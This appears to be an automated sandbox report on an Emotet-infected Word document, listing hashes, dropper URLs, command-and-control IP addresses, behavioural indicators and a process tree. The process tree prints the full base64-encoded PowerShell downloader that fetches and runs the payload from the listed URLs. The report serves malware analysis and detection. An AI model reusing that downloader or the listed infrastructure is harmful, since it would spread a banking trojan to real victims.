emotet | ecdfed715dc8beb9879b1946fdb78e203c4dcdfde6c82f6f9657e08a72032859

General

Target

最新の構造図.doc
Size

176KB
MD5

4a1584e1207a1b269572133fedbe757e
SHA1

922bc92b8ee067a3764bf3bca8abb8c0aa6fed74
SHA256

ecdfed715dc8beb9879b1946fdb78e203c4dcdfde6c82f6f9657e08a72032859
SHA512

438229434ccbe427e2de3f43afb7b2745057ec2c601fb811fda12cbe9a24b487d417eeb484a5e1da9c79cc0f68451d8de1377ea52bd093927b60241ad7c892e3

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://reseller-demo-website.com/discussion/qWWf8FS/

exe.dropper

https://www.mockdumps.com/test/Z2pJ/

exe.dropper

https://twisterprint.com/chrometheme/Vcr/

exe.dropper

http://simulations.org/rw_common/KfX2MW/

exe.dropper

http://planosdesaudesemcarencia.com/erros/JHoq/

exe.dropper

https://viaje-achina.com/wp-admin/A1O8tL/

exe.dropper

https://cearacultural.com.br/turismo/oy/

Extracted

Family

emotet

C2

71.72.196.159:80

134.209.36.254:8080

120.138.30.150:8080

94.23.216.33:80

157.245.99.39:8080

137.59.187.107:8080

94.23.237.171:443

61.19.246.238:443

156.155.166.221:80

50.35.17.13:80

153.137.36.142:80

91.211.88.52:7080

209.141.54.221:8080

185.94.252.104:443

174.45.13.118:80

87.106.136.232:8080

62.75.141.82:80

213.196.135.145:80

188.219.31.12:80

82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 192 3832 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	192	3832	powershell.exe

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/2132-16-0x00000000021F0000-0x0000000002202000-memory.dmp	emotet
behavioral2/memory/2132-16-0x00000000021F0000-0x0000000002202000-memory.dmp	emotet
behavioral2/memory/2132-17-0x00000000021B0000-0x00000000021C0000-memory.dmp	emotet
behavioral2/memory/2132-17-0x00000000021B0000-0x00000000021C0000-memory.dmp	emotet
behavioral2/memory/2552-20-0x00000000005D0000-0x00000000005E2000-memory.dmp	emotet
behavioral2/memory/2552-20-0x00000000005D0000-0x00000000005E2000-memory.dmp	emotet
behavioral2/memory/2552-21-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2552-21-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

23 192 powershell.exe
25 192 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

Avbjjxx_b.exepwrshplugin.exe

pid process

2132 Avbjjxx_b.exe
2552 pwrshplugin.exe
Drops file in System32 directory 1 IoCs

Processes:

Avbjjxx_b.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\WABSyncProvider\pwrshplugin.exe Avbjjxx_b.exe

flow	pid	process
23	192	powershell.exe
25	192	powershell.exe

pid	process
2132	Avbjjxx_b.exe
2552	pwrshplugin.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\WABSyncProvider\pwrshplugin.exe	Avbjjxx_b.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3816 WINWORD.EXE
3816 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepwrshplugin.exe

pid process

192 powershell.exe
192 powershell.exe
192 powershell.exe
2552 pwrshplugin.exe
2552 pwrshplugin.exe
2552 pwrshplugin.exe
2552 pwrshplugin.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 192 powershell.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

3816 WINWORD.EXE
3816 WINWORD.EXE
3816 WINWORD.EXE
3816 WINWORD.EXE
3816 WINWORD.EXE
3816 WINWORD.EXE
3816 WINWORD.EXE
3816 WINWORD.EXE
3816 WINWORD.EXE

pid	process
3816	WINWORD.EXE
3816	WINWORD.EXE

pid	process
192	powershell.exe
192	powershell.exe
192	powershell.exe
2552	pwrshplugin.exe
2552	pwrshplugin.exe
2552	pwrshplugin.exe
2552	pwrshplugin.exe

description	pid	process
Token: SeDebugPrivilege	192	powershell.exe

pid	process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exeAvbjjxx_b.exe

description	pid	process	target process
PID 192 wrote to memory of 2132	192	powershell.exe	Avbjjxx_b.exe
PID 192 wrote to memory of 2132	192	powershell.exe	Avbjjxx_b.exe
PID 192 wrote to memory of 2132	192	powershell.exe	Avbjjxx_b.exe
PID 2132 wrote to memory of 2552	2132	Avbjjxx_b.exe	pwrshplugin.exe
PID 2132 wrote to memory of 2552	2132	Avbjjxx_b.exe	pwrshplugin.exe
PID 2132 wrote to memory of 2552	2132	Avbjjxx_b.exe	pwrshplugin.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\最新の構造図.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABRAGsAeQBfAHoAYwByAD0AKAAnAE8AagAnACsAKAAnAGIAYQAnACsAJwA0ADQAJwApACsAJwAxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAUgBwAHIAbwBmAEkATABFAFwAaQB4AF8AVQAwAGUARQBcAEQAYQAzAEkAcABmAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAHQAYAB5AGAAcABSAG8AdABPAGAAQwBvAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAxADIAJwArACcALAAnACsAJwAgACcAKQArACcAdABsACcAKwAnAHMAJwArACcAMQAxACcAKwAoACcALAAnACsAJwAgAHQAbABzACcAKQApADsAJABQADQAZAA1AGIAZABpACAAPQAgACgAKAAnAEEAdgAnACsAJwBiACcAKQArACgAJwBqAGoAeAB4ACcAKwAnAF8AJwApACsAJwBiACcAKQA7ACQATgBsAGQAaQBrAHEAaQA9ACgAJwBFACcAKwAoACcAMgBwACcAKwAnAGoANwAnACsAJwBqAGcAJwApACkAOwAkAEMAZgBfAHkAbAA3AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ASQB4AF8AJwArACgAJwB1ADAAJwArACcAZQBlACcAKQArACcAewAwAH0ARABhADMAaQAnACsAJwBwAGYAJwArACcAdgB7ADAAJwArACcAfQAnACkAIAAtAGYAWwBjAGgAYQByAF0AOQAyACkAKwAkAFAANABkADUAYgBkAGkAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABaAHoAZABkAG4AbgBsAD0AKAAnAEYAJwArACcANQBkACcAKwAoACcAbAAnACsAJwBvAF8AeQAnACkAKQA7ACQAWAA0ADcANABmAHkAMgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwAaQBFAE4AdAA7ACQAUQBhADkAdwA1ADgAdwA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAcgBlAHMAZQAnACkAKwAoACcAbABsAGUAcgAtACcAKwAnAGQAZQAnACsAJwBtACcAKQArACcAbwAtACcAKwAnAHcAZQAnACsAJwBiAHMAJwArACcAaQAnACsAJwB0AGUAJwArACcALgBjACcAKwAnAG8AJwArACcAbQAvACcAKwAoACcAZABpACcAKwAnAHMAYwB1AHMAJwApACsAKAAnAHMAJwArACcAaQBvAG4ALwBxAFcAVwBmACcAKwAnADgARgAnACkAKwAoACcAUwAnACsAJwAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8ALwB3ACcAKQArACcAdwB3ACcAKwAoACcALgBtACcAKwAnAG8AJwArACcAYwBrAGQAdQBtAHAAcwAuAGMAJwApACsAJwBvAG0AJwArACcALwAnACsAKAAnAHQAJwArACcAZQBzAHQALwAnACsAJwBaADIAcABKAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAoACcAcABzADoAJwArACcALwAnACkAKwAoACcALwB0ACcAKwAnAHcAaQAnACkAKwAoACcAcwAnACsAJwB0AGUAJwApACsAKAAnAHIAcAAnACsAJwByAGkAJwApACsAKAAnAG4AdAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGMAaAByAG8AJwApACsAKAAnAG0AZQAnACsAJwB0AGgAZQAnACkAKwAoACcAbQBlAC8AVgAnACsAJwBjAHIAJwArACcALwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8ALwAnACsAJwBzACcAKQArACcAaQBtACcAKwAoACcAdQAnACsAJwBsAGEAJwApACsAKAAnAHQAaQBvACcAKwAnAG4AcwAuAG8AcgAnACsAJwBnACcAKQArACcALwAnACsAKAAnAHIAdwBfAGMAJwArACcAbwBtACcAKQArACgAJwBtAG8AJwArACcAbgAvACcAKwAnAEsAZgAnACkAKwAnAFgAMgAnACsAKAAnAE0AVwAvACoAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwBwACcAKwAnAGwAYQAnACkAKwAnAG4AJwArACcAbwAnACsAKAAnAHMAJwArACcAZABlAHMAJwArACcAYQB1AGQAZQBzAGUAJwArACcAbQBjACcAKQArACcAYQAnACsAJwByAGUAJwArACcAbgBjACcAKwAnAGkAYQAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwAnACsAJwBlAHIAcgBvAHMALwAnACkAKwAnAEoAJwArACgAJwBIAG8AJwArACcAcQAvACoAaAB0ACcAKwAnAHQAcAAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwB2AGkAYQBqAGUAJwArACcALQBhACcAKQArACgAJwBjACcAKwAnAGgAaQBuAGEALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkACcAKwAnAG0AaQAnACsAJwBuAC8AQQAxAE8AOAB0ACcAKQArACcATAAnACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcABzACcAKwAnADoALwAnACkAKwAoACcALwBjAGUAJwArACcAYQByACcAKQArACgAJwBhAGMAdQBsACcAKwAnAHQAdQByAGEAJwArACcAbAAnACsAJwAuACcAKwAnAGMAbwBtAC4AYgAnACkAKwAoACcAcgAvACcAKwAnAHQAJwApACsAJwB1ACcAKwAoACcAcgAnACsAJwBpAHMAJwArACcAbQBvAC8AbwB5AC8AJwApACkALgAiAFMAcABMAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQA2AHQAZwB6AGwAXwA9ACgAJwBVAG4AJwArACgAJwB3ADAAbQAzACcAKwAnADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABXAGsAZQBuADgAaQBnACAAaQBuACAAJABRAGEAOQB3ADUAOAB3ACkAewB0AHIAeQB7ACQAWAA0ADcANABmAHkAMgAuACIAZABgAG8AdwBuAEwAbwBhAGQAZgBpAGAATABlACIAKAAkAFcAawBlAG4AOABpAGcALAAgACQAQwBmAF8AeQBsADcAcgApADsAJABDAGMAeAAwADgAMAByAD0AKAAoACcAQQBkACcAKwAnAGIAcQBtADgAJwApACsAJwBiACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABDAGYAXwB5AGwANwByACkALgAiAGwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMgAzADgAMAAwACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEMAZgBfAHkAbAA3AHIAKQA7ACQAVABsAGEAMQBfAHMAegA9ACgAKAAnAE4AJwArACcAawBfADMAbQAnACkAKwAnAHkAcAAnACkAOwBiAHIAZQBhAGsAOwAkAEkAaABtAG4AMQA0AF8APQAoACcASgAnACsAJwBmACcAKwAoACcAdwBrACcAKwAnAHUAagA4ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADcAdwBxAHoAYwBkAD0AKAAnAFkAJwArACgAJwBqAG8AeQByAG8AJwArACcAeQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:192

C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe
"C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2132

C:\Windows\SysWOW64\WABSyncProvider\pwrshplugin.exe
"C:\Windows\SysWOW64\WABSyncProvider\pwrshplugin.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2552

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe

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C:\Users\Admin\ix_U0eE\Da3Ipfv\Avbjjxx_b.exe

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C:\Windows\SysWOW64\WABSyncProvider\pwrshplugin.exe

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memory/192-10-0x00007FF8BC140000-0x00007FF8BCB2C000-memory.dmp

Filesize
9.9MB

Download
memory/192-12-0x000001E54E930000-0x000001E54E931000-memory.dmp

Filesize
4KB

Download
memory/192-11-0x000001E54E710000-0x000001E54E711000-memory.dmp

Filesize
4KB

Download
memory/2132-16-0x00000000021F0000-0x0000000002202000-memory.dmp

Filesize
72KB

Download
memory/2132-13-0x0000000000000000-mapping.dmp

Download
memory/2132-17-0x00000000021B0000-0x00000000021C0000-memory.dmp

Filesize
64KB

Download
memory/2552-18-0x0000000000000000-mapping.dmp

Download
memory/2552-20-0x00000000005D0000-0x00000000005E2000-memory.dmp

Filesize
72KB

Download
memory/2552-21-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/3816-9-0x000002AC5A6E6000-0x000002AC5A6EB000-memory.dmp

Filesize
20KB

Download
memory/3816-8-0x000002AC5A6E6000-0x000002AC5A6EB000-memory.dmp

Filesize
20KB

Download
memory/3816-7-0x000002AC5A6E6000-0x000002AC5A6EB000-memory.dmp

Filesize
20KB

Download
memory/3816-6-0x000002AC62358000-0x000002AC62363000-memory.dmp

Filesize
44KB

Download
memory/3816-0-0x00007FF8C91B0000-0x00007FF8C9876000-memory.dmp

Filesize
6.8MB

Download
memory/3816-4-0x000002AC5A6E6000-0x000002AC5A6EB000-memory.dmp

Filesize
20KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads